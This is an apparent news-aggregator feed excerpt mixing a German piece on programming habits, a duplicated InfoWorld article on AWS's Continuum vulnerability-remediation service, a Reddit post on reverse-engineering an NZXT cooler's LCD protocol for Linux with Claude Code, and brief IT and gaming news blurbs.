<p>Wenn Sie schnellen Code wollen, gestalten Sie ihn einfach. Wenn er wirklich schnell sein soll, komplex. Mit Blick auf diesen Task den richtigen “Sweet Spot” zu finden, ist gar nicht so einfach.</p>



<p>Wie so oft gilt es, einen Kompromiss zu finden: Ganz allgemein sollen Programme <a href="https://www.computerwoche.de/article/2805659/wie-schlechte-apps-das-firmenimage-ruinieren.html" title="möglichst schnell sein" target="_blank">möglichst schnell sein</a>. Dabei kann Komplexität ein wesentliches Hindernis darstellen, wenn diese niemand mehr durchdringen kann. Wenn es also nicht unbedingt auf Speed ankommt, kann es durchaus sinnvoll sein, etwas langsameren, dafür aber leicht verständlichen Programmcode zu schreiben.</p>



<h3 class="wp-block-heading">3. Code-Mode</h3>



<p>Manche Entwickler haben eine ausgeprägte Vorliebe für Dinge wie die neuen Operatoren in <a href="https://www.computerwoche.de/article/2832952/was-ist-javascript.html" title="JavaScript" target="_blank">JavaScript</a> (etwa die Ellipsis), weil der resultierende Code in ihren Augen prägnanter und damit besser ist. Ob das aber auch in jedem Fall leichter zu verstehen ist, darf bezweifelt werden. Das erfordert nämlich erst einmal, sich mit diesen Operatoren vertraut zu machen. Statt also den Code schnell und gründlich überfliegen zu können, wird daraus eine lästige, einnehmende Pflicht. </p>



<p>Es gibt auch historische Belege dafür, dass prägnanterer Code nicht unbedingt populär ist. Nicht umsonst sind Sprachen wie <a href="https://de.wikipedia.org/wiki/APL_(Programmiersprache)" title="APL" target="_blank" rel="noopener">APL</a>, die dank benutzerdefinierter Symbolik besonders effizient und prägnant sein sollte, im Wesentlichen verschwunden. Sprachen wie <a href="https://www.computerwoche.de/article/2795515/wie-sie-python-richtig-installieren.html" title="Python" target="_blank">Python</a>, die auf geschweifte Klammern vollständig verzichten, erfreuen sich hingegen zunehmender Beliebtheit.</p>



<h3 class="wp-block-heading">4. Abstraktionen</h3>



<p>Clevere Abstraktionen, die spezifische Probleme schneller lösen, sind in vielen Programmiersprachen gang und gäbe. Manche Sprachen sind dabei dermaßen mit Abstraktionen überfrachtet, dass ihre Handbücher im Resultat mehr als tausend Seiten füllen. Diese Funktionen wann immer möglich zu verwenden, ist in den Augen mancher Gesetz. Das Problem in der Praxis ist allerdings, dass zu viele Funktionen schnell Verwirrung stiften können. Und inzwischen existieren so viele syntaktische Kniffe, dass sie kein Dev der Welt mehr alle beherrschen kann. Und warum sollte man das auch? Wie viele Möglichkeiten brauchen wir, um auf <a href="https://www.computerwoche.de/article/2830081/8-wege-zu-wiederverwendbarem-java-code.html" title="Nullwerte" target="_blank">Nullwerte</a> zu testen oder Inheritance in mehreren Dimensionen zu ermöglichen?</p>



<p>Es gibt jedoch auch Gegenbewegungen: Die Schöpfer von <a href="https://www.computerwoche.de/article/2817865/so-programmieren-sie-mit-go.html" title="Go" target="_blank">Go</a> haben sich etwa zum Ziel gesetzt, eine Sprache zu entwickeln, die in erster Linie besonders schnell zu erlernen ist. Die Grundvoraussetzung dafür: Alle im Team mussten in der Lage sein, den gesamten Code zu lesen und zu verstehen.</p>



<h3 class="wp-block-heading">5. DIY-Code</h3>



<p>Effizienzexperten empfehlen gerne, das Rad nicht neu zu erfinden, sondern sich auf bewährte Bibliotheken und Legacy-Code zu verlassen. In manchen Fällen kann ein neuer Ansatz jedoch durchaus sinnvoll sein. Schließlich sind Standard-Bibliotheken im Regelfall für alltägliche Use Cases gemacht. Bei spezifischen Anwendungsfällen, in denen diese Bibliotheken eher einen Flaschenhals darstellen, können schon ein paar individuelle Code-Zeilen respektive Ersatzfunktionen dafür sorgen, dass alles deutlich schneller abläuft.</p>



<p>Natürlich gibt es aber auch Fälle, in denen das gefährlich sein kann: Bei besonders komplexem Code – beispielsweise <a href="https://www.computerwoche.de/article/2799478/was-ist-kryptografie.html" title="kryptografischen Systemen" target="_blank">kryptografischen Systemen</a> – ist es keine gute Idee, selbst zu Werke zu gehen, selbst wenn man alle mathematischen Grundlagen beherrscht.</p>



<h3 class="wp-block-heading">6. Frühoptimierung</h3>



<p>Dass Developer Code zusammenwerfen und das mit der alten Maxime rechtfertigen, verfrühte Optimierung wäre nur Zeitverschwendung, kommt relativ häufig vor. Der Gedanke der dahintersteht: Solange das ganze System nicht läuft, weiß niemand, welcher Teil des Codes am Ende zum Bottleneck wird.</p>



<p>Im Allgemeinen ist das eine gute Faustregel. Schließlich <a href="https://www.computerwoche.de/article/2764003/7-faktoren-fuer-garantiertes-scheitern.html" title="scheitern" target="_blank">scheitern</a> manche Softwareprojekte schon früh, weil sie überoptimiert wurden. Es gibt auf der anderen Seite aber auch diverse Fälle, in denen eine gesunde Voraussicht den Unterschied macht. Zum Beispiel, wenn falsche Datenstrukturen oder -schemata in eine Architektur münden, die nachträglich nicht so ohne Weiteres optimiert werden kann. </p>



<h3 class="wp-block-heading">7. Sorgfalt</h3>



<p>Gute Programmierer sichern Daten immer doppelt ab und überprüfen lieber dreifach, was vor sich geht – es könnte sich schließlich ein Null Pointer eingeschlichen haben. Leider kann diese zusätzliche Sorgfalt den Code aber auch lähmen. Deshalb ist es manchmal nötig, einfach mal loszulassen und auf Performance zu coden. Dazu beschränkt man sich dann eben auf das absolute Minimum.</p>



<h3 class="wp-block-heading">8. Inkonsistenzen</h3>



<p>Menschen stehen im Allgemeinen auf Ordnung. So auch Programmierer, die oft darauf bestehen, dass innerhalb eines Code-Haufens stets dieselben Techniken, Algorithmen und Syntax-Konstrukte zur Anwendung kommen. Das macht das Leben für alle Entwickler einfacher, die später einmal mit dem Code umgehen und ihn verstehen müssen. Andererseits kostet Konsistenz Zeit – und schafft manchmal auch zusätzliche Komplexität. Dabei ist nicht nur ein Problem, dass Code, der nicht den Vorgaben entspricht, unter Umständen komplett neu geschrieben werden muss: Einige Projekte stützen sich auf Legacy-Code, andere auf Bibliotheken. Viele kommen nicht ohne <a href="https://www.computerwoche.de/article/2790525/was-sie-ueber-application-programming-interfaces-wissen-muessen.html" title="APIs" target="_blank">APIs</a> aus, die wiederum von unterschiedlichen Unternehmen stammen.</p>



<p>Vollständige Konsistenz ist darüber hinaus oft nicht zu erreichen – und die Gelegenheit, den gesamten Stack neu aufzusetzen, um ihn an die aktuelle Vision anzupassen, dürfte sich nicht so oft bieten. Auch wenn es schwer fällt: Manchmal ist es sinnvoller, sich mit Inkonsistenzen abzufinden. Ein weiteres Problem bei zu viel Konsistenz: Innovationen können behindert werden. Schließlich fördert sie auf ihre eigene Weise, an einer alten Art, die Dinge zu erledigen, festzuhalten.</p>



<h3 class="wp-block-heading">9. Regelverstöße</h3>



<p>Spaßeshalber haben wir Googles Gemini gefragt, ob die Programmierer bei seiner Erstellung Regeln gebrochen haben. Seine Antwort: “Es ist nicht so, dass die Programmierer bestimmte Regeln gebrochen haben, sondern eher so, dass sie die Grenzen einiger bewährter Verfahren überschritten haben.”</p>



<p>Selbst <a href="https://www.computerwoche.de/article/2823883/was-sind-llms.html" title="LLMs" target="_blank">LLMs</a> wissen also: Auch Regeln unterliegen manchmal dem Change. Developer sollten das ebenfalls verinnerlichen. (fm)</p>



<p><em><a href="https://www.infoworld.com/article/2337324/10-more-bad-programming-habits-we-secretly-love.html" title="Dieser Beitrag basiert auf einem Artikel unserer US-Schwesterpublikation Infoworld." target="_blank">Dieser Beitrag basiert auf einem Artikel unserer US-Schwesterpublikation Infoworld.</a></em></p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AWS Continuum offers devs help with securing code]]></title>
<description><![CDATA[AI coding agents are making it easier than ever to produce software. Ensuring that software is secure before deployment is another matter — one that AWS thinks AI should help with too.



As enterprises adopt agentic development workflows, the volume of first-party code being created and modified...]]></description>
<link>https://tsecurity.de/de/3616133/it-security-nachrichten/aws-continuum-offers-devs-help-with-securing-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3616133/it-security-nachrichten/aws-continuum-offers-devs-help-with-securing-code/</guid>
<pubDate>Mon, 22 Jun 2026 18:38:22 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>AI coding agents are making it easier than ever to produce software. Ensuring that software is secure before deployment is another matter — one that AWS thinks AI should help with too.</p>



<p>As enterprises adopt <a href="https://www.infoworld.com/article/4142019/coding-for-agents.html">agentic development</a> workflows, the volume of first-party code being created and modified is rising rapidly. Yet the process of validating vulnerabilities, determining whether they are exploitable, and fixing them often still depends on developers and security teams working through findings manually.</p>



<p>AWS is aiming to address that imbalance with Continuum, a new service designed to continuously discover, investigate, and remediate vulnerabilities in enterprise environments, whether the code is their own or from third parties.</p>



<p>Rather than simply generating alerts, the service is intended to help enterprises move findings through the entire remediation lifecycle, AWS VP of Security and Observability <a href="https://www.linkedin.com/in/chetkapoor/" target="_blank" rel="noreferrer noopener">Chet Kapoor</a> wrote in a <a href="https://aws.amazon.com/blogs/security/introducing-aws-continuum-security-at-machine-speed/" target="_blank" rel="noreferrer noopener">blog post</a>.</p>



<p>For first-party applications, Continuum can analyze code, validate whether vulnerabilities are exploitable, generate remediation recommendations, and propose fixes that can be reviewed through existing software development workflows, helping developers address security issues without requiring security teams to manually investigate every finding, Kapoor said.</p>



<p>Once users think Continuum has learned enough about their environment and understands their guardrails, they can put it in what AWS calls “enforce mode” to autonomously fix any code lapses, Kapoor said.</p>



<p>Continuum borrows some of its capabilities, penetration testing and code scanning features, from an existing service, Security Agent.</p>



<p>Other capabilities are all-new, including threat modeling, which is designed to automatically generate threat models from source code or design documents and output them in STRIDE format.</p>



<h2 class="wp-block-heading">Keeping pace with AI-driven software development</h2>



<p>Analysts see Continuum helping enterprise developer teams ship more secure code while keeping pace with <a href="https://www.infoworld.com/article/4176534/ai-coding-agents-need-good-software-engineers.html">AI coding tools</a>.</p>



<p>“The harder problem is no longer just finding issues, it is knowing which ones are real, which ones matter in their environment, and which ones need to be fixed first,” said <a href="https://www.hfsresearch.com/team/akshat-tyagi/" target="_blank" rel="noreferrer noopener">Akshat Tyagi</a>, associate practice leader at HFS Research. “Traditional workflows built around dashboards and manual triage struggle with that volume. A dashboard can show the backlog, but it does not validate the finding, assess business impact, or help remediate it.”</p>



<p>Continuum’s value, according to Tyagi, “is not just more detection, but using AI to prioritize risk findings, suggest mitigations, and support faster action while keeping humans in control of high-risk decisions.”</p>



<p>Taking faster action is becoming increasingly important as attackers are gaining access to many of the same AI capabilities that enterprises are using to accelerate software development and security testing, according to <a href="https://www.linkedin.com/in/amitchandak78/" target="_blank" rel="noreferrer noopener">Amit Chandak</a>, chief analytics officer at IT consulting firm Kanerika. “The gap between a flaw being disclosed and a working exploit is shrinking rapidly from months to hours,” he said.</p>



<p>While Continuum may reduce repetitive work for developers and SREs, it could also create new responsibilities for CISOs around governance, oversight, testing, and maintaining guardrails for automated actions.</p>



<p>“Continuum changes the CISO’s role from managing findings to governing how findings are handled. The focus moves to setting rules: what can be automated, what needs human approval, and what level of risk is acceptable in production,” Tyagi said. “Staffing will shift too. There may be less manual triage, but more need for people who can review AI-generated fixes, set guardrails, and know when not to trust the system.”</p>



<p>Even so, Chandak does not expect the offering to lead to immediate headcount reductions, particularly given that Continuum is only available as a gated preview.</p>



<p>Continuum could change how CISOs measure work, Tyagi said: “Ticket count matters less. Better measures are how quickly real risks are validated and fixed, how many false positives are removed, and whether automation is reducing risk without causing new problems.”</p>



<p>Those same metrics could also become a yardstick for CISOs determining how much autonomy to give tools like Continuum, said Chandak. Most enterprises’ data and governance practices are not yet ready for fully autonomous remediation, said Chandak, adding that, “AWS’ graduated trust design, under which enterprises have the option of choosing the degree of autonomy, from human in the loop to fully automatic remediation, is an admission of that fact.”</p>



<h2 class="wp-block-heading">Beyond first-party code</h2>



<p>Continuum could also help CISOs with third-party code vulnerability analysis, where enterprises often have less visibility and control.</p>



<p>“Most third party vulnerability alerts are noise. A tool may flag a vulnerable library, but the real question is whether that vulnerable code is actually used in production. If Continuum can answer that, it helps teams focus on the few issues that matter,” Tyagi said. “This is especially useful for open-source and software supply chain risk, where enterprises depend on packages and hidden transitive dependencies they may not fully track. It also helps when no patch is available yet.”</p>



<p>However, he warned, Continuum might not offer a direct fix to third-party code: “You usually cannot patch third-party code yourself as you don’t own it, so remediation there means version pinning or compensating controls.”</p>



<p><em>This article first appeared on <a href="https://www.infoworld.com/article/4187916/aws-continuum-offers-devs-help-with-securing-code.html">InfoWorld</a>.</em></p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AWS Continuum offers devs help with securing code]]></title>
<description><![CDATA[AI coding agents are making it easier than ever to produce software. Ensuring that software is secure before deployment is another matter — one that AWS thinks AI should help with too.



As enterprises adopt agentic development workflows, the volume of first-party code being created and modified...]]></description>
<link>https://tsecurity.de/de/3616128/ai-nachrichten/aws-continuum-offers-devs-help-with-securing-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3616128/ai-nachrichten/aws-continuum-offers-devs-help-with-securing-code/</guid>
<pubDate>Mon, 22 Jun 2026 18:33:47 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>AI coding agents are making it easier than ever to produce software. Ensuring that software is secure before deployment is another matter — one that AWS thinks AI should help with too.</p>



<p>As enterprises adopt <a href="https://www.infoworld.com/article/4142019/coding-for-agents.html">agentic development</a> workflows, the volume of first-party code being created and modified is rising rapidly. Yet the process of validating vulnerabilities, determining whether they are exploitable, and fixing them often still depends on developers and security teams working through findings manually.</p>



<p>AWS is aiming to address that imbalance with Continuum, a new service designed to continuously discover, investigate, and remediate vulnerabilities in enterprise environments, whether the code is their own or from third parties.</p>



<p>Rather than simply generating alerts, the service is intended to help enterprises move findings through the entire remediation lifecycle, AWS VP of Security and Observability <a href="https://www.linkedin.com/in/chetkapoor/" target="_blank" rel="noreferrer noopener">Chet Kapoor</a> wrote in a <a href="https://aws.amazon.com/blogs/security/introducing-aws-continuum-security-at-machine-speed/" target="_blank" rel="noreferrer noopener">blog post</a>.</p>



<p>For first-party applications, Continuum can analyze code, validate whether vulnerabilities are exploitable, generate remediation recommendations, and propose fixes that can be reviewed through existing software development workflows, helping developers address security issues without requiring security teams to manually investigate every finding, Kapoor said.</p>



<p>Once users think Continuum has learned enough about their environment and understands their guardrails, they can put it in what AWS calls “enforce mode” to autonomously fix any code lapses, Kapoor said.</p>



<p>Continuum borrows some of its capabilities, penetration testing and code scanning features, from an existing service, Security Agent.</p>



<p>Other capabilities are all-new, including threat modeling, which is designed to automatically generate threat models from source code or design documents and output them in STRIDE format.</p>



<h2 class="wp-block-heading">Keeping pace with AI-driven software development</h2>



<p>Analysts see Continuum helping enterprise developer teams ship more secure code while keeping pace with <a href="https://www.infoworld.com/article/4176534/ai-coding-agents-need-good-software-engineers.html">AI coding tools</a>.</p>



<p>“The harder problem is no longer just finding issues, it is knowing which ones are real, which ones matter in their environment, and which ones need to be fixed first,” said <a href="https://www.hfsresearch.com/team/akshat-tyagi/" target="_blank" rel="noreferrer noopener">Akshat Tyagi</a>, associate practice leader at HFS Research. “Traditional workflows built around dashboards and manual triage struggle with that volume. A dashboard can show the backlog, but it does not validate the finding, assess business impact, or help remediate it.”</p>



<p>Continuum’s value, according to Tyagi, “is not just more detection, but using AI to prioritize risk findings, suggest mitigations, and support faster action while keeping humans in control of high-risk decisions.”</p>



<p>Taking faster action is becoming increasingly important as attackers are gaining access to many of the same AI capabilities that enterprises are using to accelerate software development and security testing, according to <a href="https://www.linkedin.com/in/amitchandak78/" target="_blank" rel="noreferrer noopener">Amit Chandak</a>, chief analytics officer at IT consulting firm Kanerika. “The gap between a flaw being disclosed and a working exploit is shrinking rapidly from months to hours,” he said.</p>



<p>While Continuum may reduce repetitive work for developers and SREs, it could also create new responsibilities for CISOs around governance, oversight, testing, and maintaining guardrails for automated actions.</p>



<p>“Continuum changes the CISO’s role from managing findings to governing how findings are handled. The focus moves to setting rules: what can be automated, what needs human approval, and what level of risk is acceptable in production,” Tyagi said. “Staffing will shift too. There may be less manual triage, but more need for people who can review AI-generated fixes, set guardrails, and know when not to trust the system.”</p>



<p>Even so, Chandak does not expect the offering to lead to immediate headcount reductions, particularly given that Continuum is only available as a gated preview.</p>



<p>Continuum could change how CISOs measure work, Tyagi said: “Ticket count matters less. Better measures are how quickly real risks are validated and fixed, how many false positives are removed, and whether automation is reducing risk without causing new problems.”</p>



<p>Those same metrics could also become a yardstick for CISOs determining how much autonomy to give tools like Continuum, said Chandak. Most enterprises’ data and governance practices are not yet ready for fully autonomous remediation, said Chandak, adding that, “AWS’ graduated trust design, under which enterprises have the option of choosing the degree of autonomy, from human in the loop to fully automatic remediation, is an admission of that fact.”</p>



<h2 class="wp-block-heading">Beyond first-party code</h2>



<p>Continuum could also help CISOs with third-party code vulnerability analysis, where enterprises often have less visibility and control.</p>



<p>“Most third party vulnerability alerts are noise. A tool may flag a vulnerable library, but the real question is whether that vulnerable code is actually used in production. If Continuum can answer that, it helps teams focus on the few issues that matter,” Tyagi said. “This is especially useful for open-source and software supply chain risk, where enterprises depend on packages and hidden transitive dependencies they may not fully track. It also helps when no patch is available yet.”</p>



<p>However, he warned, Continuum might not offer a direct fix to third-party code: “You usually cannot patch third-party code yourself as you don’t own it, so remediation there means version pinning or compensating controls.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[I reverse-engineered NZXT CAM's LCD streaming protocol to get my Kraken Elite screen working on Linux]]></title>
<description><![CDATA[Disclaimer: as a developer, I'm not very happy about how LLMs are changing the way we develop things, but I also believe it's one of the best things happened to Linux, probably on the long run, and here is why. I made a post years ago about me trying to switch to Linux fully, I tried multiple tim...]]></description>
<link>https://tsecurity.de/de/3612980/linux-tipps/i-reverse-engineered-nzxt-cams-lcd-streaming-protocol-to-get-my-kraken-elite-screen-working-on-linux/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3612980/linux-tipps/i-reverse-engineered-nzxt-cams-lcd-streaming-protocol-to-get-my-kraken-elite-screen-working-on-linux/</guid>
<pubDate>Sun, 21 Jun 2026 04:24:33 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Disclaimer: as a developer, I'm not very happy about how LLMs are changing the way we develop things, but I also believe it's one of the best things happened to Linux, probably on the long run, and here is why.</p> <p>I made a post years ago about me trying to switch to Linux fully, I tried multiple times and it was very hard for me to ditch windows due to the software I use for my work and for gaming, but Linux Desktop kept getting better and better over those years.</p> <p>A year ago, I burned the ships and switched fully to Fedora with no dual booting either, and I have never been happier with my PC, since then I was able to replace all the software I use for something that works on Linux.</p> <p>Except one thing that was merely cosmetic, but annoyed me very much because I love it, and it was really expensive xD, my Kraken elite 360 CPU cooler.</p> <p>While NZXT CAM is a horrible software TBH, but it was the only way to manage the screen on this hardware, I have tried this library:<br> <a href="https://github.com/liquidctl/liquidctl">https://github.com/liquidctl/liquidctl</a></p> <p>it works, but it basically just uploads a GIF to the pump screen, I needed to show temps or pc stats, as well, CAM software used to basically render any web page with stats overlay, and I wanted that.</p> <p>------------------------------------------------------------------------------------------------------------</p> <p>So I used Claude to develop a quick software to manage the screen load gifs and other features using a simple GUI, the problem is, based on the github library, I wasn't able to achieve crisp steaming from the PC, it used double buckets to upload images then swap, which gave me 5 fps at best, and the github library litterly listed my device as "broken"</p> <p>so I decided to reverse engineer how CAM does it, sadly, it doesn't run on Linux, I used Winboat to install CAM on Linux, and gave the USB to my docker and it detected the kraken pump, but it needed GPU to render, which I couldn't do with docker (no GPU passthrough)</p> <p>I almost gave up at this point, because it was too much work to install windows just to capture how CAM streams the video, then I found a library that has USB over IP, I had another machine with windows installed at home, I installed NZXT on it and forwarded the USB of my kraken over the network to the windows machine, and the pump appeared in CAM !</p> <p>Next I captured the traffic going through the USB IP on my PC using wire shark and I had a full dump for how cam streams videos to the pump</p> <p>I gave the dump to Claude code and it reversed the sequence of calls done and added it to the software, next thing I know, I have a full crisp stream of a full headless chrome page streamed to the pump screen</p> <p>Now I have a full software, with custom dashboard (any html would work really), GIF loops, uploading videos, running web pages, anything really!</p> <p>------------------------------------------------------------------------------------------------------------</p> <p>that's why I mentioned in the beginning that LLMs are a really great push for Linux, I think a lot of devs can now close the gaps of needed software that wasn't feasible on Linux or not worth it, this crazy ride I had would have taken me a month to complete at least, and I finished in 1~2 days, and I think some one who knows what he is doing (I have never dealt with drivers before) would have finished faster</p> <p>Running our website inside the pump screen by URL only:<br> <a href="https://imgur.com/kjR3Kdr">https://imgur.com/kjR3Kdr</a></p> <p>here is the github for the program I made:<br> <a href="https://github.com/KhalloufHassan/kraken-elite-screen-manager">https://github.com/KhalloufHassan/kraken-elite-screen-manager</a></p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/khallouf_hassan"> /u/khallouf_hassan </a> <br> <span><a href="https://imgur.com/i0v98B1">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1ube46c/i_reverseengineered_nzxt_cams_lcd_streaming/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Devs in the trenches are stressed from the mandate to automate everything, but Render thinks it can help]]></title>
<description><![CDATA[San Francisco plays host to hosting company's Localhost conference]]></description>
<link>https://tsecurity.de/de/3610004/it-nachrichten/devs-in-the-trenches-are-stressed-from-the-mandate-to-automate-everything-but-render-thinks-it-can-help/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3610004/it-nachrichten/devs-in-the-trenches-are-stressed-from-the-mandate-to-automate-everything-but-render-thinks-it-can-help/</guid>
<pubDate>Fri, 19 Jun 2026 12:17:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[San Francisco plays host to hosting company's Localhost conference]]></content:encoded>
</item>
<item>
<title><![CDATA[EMPULSE is basically Titanfall but from the devs of Splitgate]]></title>
<description><![CDATA[No real points for originality here but if you're wanting something resembling the online play of Titanfall, then you may want to look at EMPULSE.Read the full article on GamingOnLinux.]]></description>
<link>https://tsecurity.de/de/3608215/linux-tipps/empulse-is-basically-titanfall-but-from-the-devs-of-splitgate/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3608215/linux-tipps/empulse-is-basically-titanfall-but-from-the-devs-of-splitgate/</guid>
<pubDate>Thu, 18 Jun 2026 17:19:02 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[No real points for originality here but if you're wanting something resembling the online play of Titanfall, then you may want to look at EMPULSE.<p><img src="https://www.gamingonlinux.com/uploads/articles/tagline_images/445098620id29242gol.webp" alt></p><p>Read the full article on <a href="https://www.gamingonlinux.com/2026/06/empulse-is-basically-titanfall-but-from-the-devs-of-splitgate/">GamingOnLinux</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[007 First Light devs say post-launch content is in IO Interactive's 'DNA' and is now something players are 'starting to expect' — 'We want the players to come back, and we want to create more content']]></title>
<description><![CDATA[IO Interactive has teased 007 First Light's upcoming post-launch content following the game's "unreal" reception.]]></description>
<link>https://tsecurity.de/de/3607908/it-nachrichten/007-first-light-devs-say-post-launch-content-is-in-io-interactives-dna-and-is-now-something-players-are-starting-to-expect-we-want-the-players-to-come-back-and-we-want-to-create-more-content/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3607908/it-nachrichten/007-first-light-devs-say-post-launch-content-is-in-io-interactives-dna-and-is-now-something-players-are-starting-to-expect-we-want-the-players-to-come-back-and-we-want-to-create-more-content/</guid>
<pubDate>Thu, 18 Jun 2026 15:18:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[IO Interactive has teased 007 First Light's upcoming post-launch content following the game's "unreal" reception.]]></content:encoded>
</item>
<item>
<title><![CDATA["We are nearing the final delivery of patch notes": Bungie signals Destiny 2's "last string of hotfixes" are near as the devs prepare to end the game]]></title>
<description><![CDATA[Destiny 2 dev Bungie has indicated support for the game will soon wind down as the studio prepares to "get into its last string of hotfixes."]]></description>
<link>https://tsecurity.de/de/3606244/windows-tipps/we-are-nearing-the-final-delivery-of-patch-notes-bungie-signals-destiny-2s-last-string-of-hotfixes-are-near-as-the-devs-prepare-to-end-the-game/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3606244/windows-tipps/we-are-nearing-the-final-delivery-of-patch-notes-bungie-signals-destiny-2s-last-string-of-hotfixes-are-near-as-the-devs-prepare-to-end-the-game/</guid>
<pubDate>Wed, 17 Jun 2026 23:55:02 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Destiny 2 dev Bungie has indicated support for the game will soon wind down as the studio prepares to "get into its last string of hotfixes."]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows devs rerolled old code to save precious bytes]]></title>
<description><![CDATA[There was a time when Microsoft cared about every KB]]></description>
<link>https://tsecurity.de/de/3604682/it-nachrichten/windows-devs-rerolled-old-code-to-save-precious-bytes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3604682/it-nachrichten/windows-devs-rerolled-old-code-to-save-precious-bytes/</guid>
<pubDate>Wed, 17 Jun 2026 14:03:04 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[There was a time when Microsoft cared about every KB]]></content:encoded>
</item>
<item>
<title><![CDATA[Chefs von Devs: Braucht jetzt jedes Unternehmen einen Forward Deployed Engineer?]]></title>
<description><![CDATA[Forward Deployed Engineer heißt die neueste Entwicklerrolle, die aktuell angepriesen wird. Eine People-Strategin erklärt in unserem Newsletter, was dahinter steckt. (Arbeit, Softwareentwicklung)]]></description>
<link>https://tsecurity.de/de/3604055/it-nachrichten/chefs-von-devs-braucht-jetzt-jedes-unternehmen-einen-forward-deployed-engineer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3604055/it-nachrichten/chefs-von-devs-braucht-jetzt-jedes-unternehmen-einen-forward-deployed-engineer/</guid>
<pubDate>Wed, 17 Jun 2026 10:31:58 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Forward Deployed Engineer heißt die neueste Entwicklerrolle, die aktuell angepriesen wird. Eine People-Strategin erklärt in unserem Newsletter, was dahinter steckt. (<a href="https://www.golem.de/specials/it-jobs/">Arbeit</a>, <a href="https://www.golem.de/specials/softwareentwicklung/">Softwareentwicklung</a>) <img src="https://cpx.golem.de/cpx.php?class=17&amp;aid=209857&amp;page=1&amp;ts=1781685001" alt="" width="1" height="1">]]></content:encoded>
</item>
<item>
<title><![CDATA[Darum scheitert Marketing an Entwicklern]]></title>
<description><![CDATA[Entwickler sind mit Buzzword-intensiven Vorträgen zu neuen Features und Produkten eher nicht zu begeistern.DC Studio | shutterstock.com



Vor etlichen Jahren war der Markt für Entwickler-Tools eher überschaubar. Das Angebot umfasste hauptsächlich Compiler, Debugger und IDEs. Als dann die visuell...]]></description>
<link>https://tsecurity.de/de/3603571/it-security-nachrichten/darum-scheitert-marketing-an-entwicklern/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3603571/it-security-nachrichten/darum-scheitert-marketing-an-entwicklern/</guid>
<pubDate>Wed, 17 Jun 2026 06:06:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/09/DC-Studio_shutterstock_2240160353_16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Sleepy Dev 16z9" class="wp-image-4060848" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Entwickler sind mit Buzzword-intensiven Vorträgen zu neuen Features und Produkten eher nicht zu begeistern.</figcaption></figure><p class="imageCredit">DC Studio | shutterstock.com</p></div>



<p>Vor etlichen Jahren war der Markt für Entwickler-Tools eher überschaubar. Das Angebot umfasste hauptsächlich <a href="https://www.computerwoche.de/article/2820105/was-ist-ein-compiler.html" target="_blank">Compiler</a>, Debugger und <a href="https://www.computerwoche.de/article/3488115/visual-studio-code-alternative-im-test.html" target="_blank">IDEs</a>. Als dann die visuelle Softwareentwicklung aufkam, gesellten sich Komponenten-Sets hinzu – dennoch uferte der Markt nicht aus und das Marketing war vor allem unkompliziert. Heute sieht das alles völlig anders aus: Das Web und die Cloud haben inzwischen dazu beigetragen, dass das Angebot an Developer-Werkzeugen explosionsartig gewachsen ist. Und: Die Welt der <a href="https://www.computerwoche.de/article/4016035/6-trends-wie-ki-die-softwareentwicklung-verandert.html" target="_blank">Softwareentwicklung</a> ist deutlich komplexer geworden. Früher war ein Deployment nicht mehr als kompilieren, auf eine Floppy-Disc packen und ab zum Kunden. Das ist lange passé.</p>



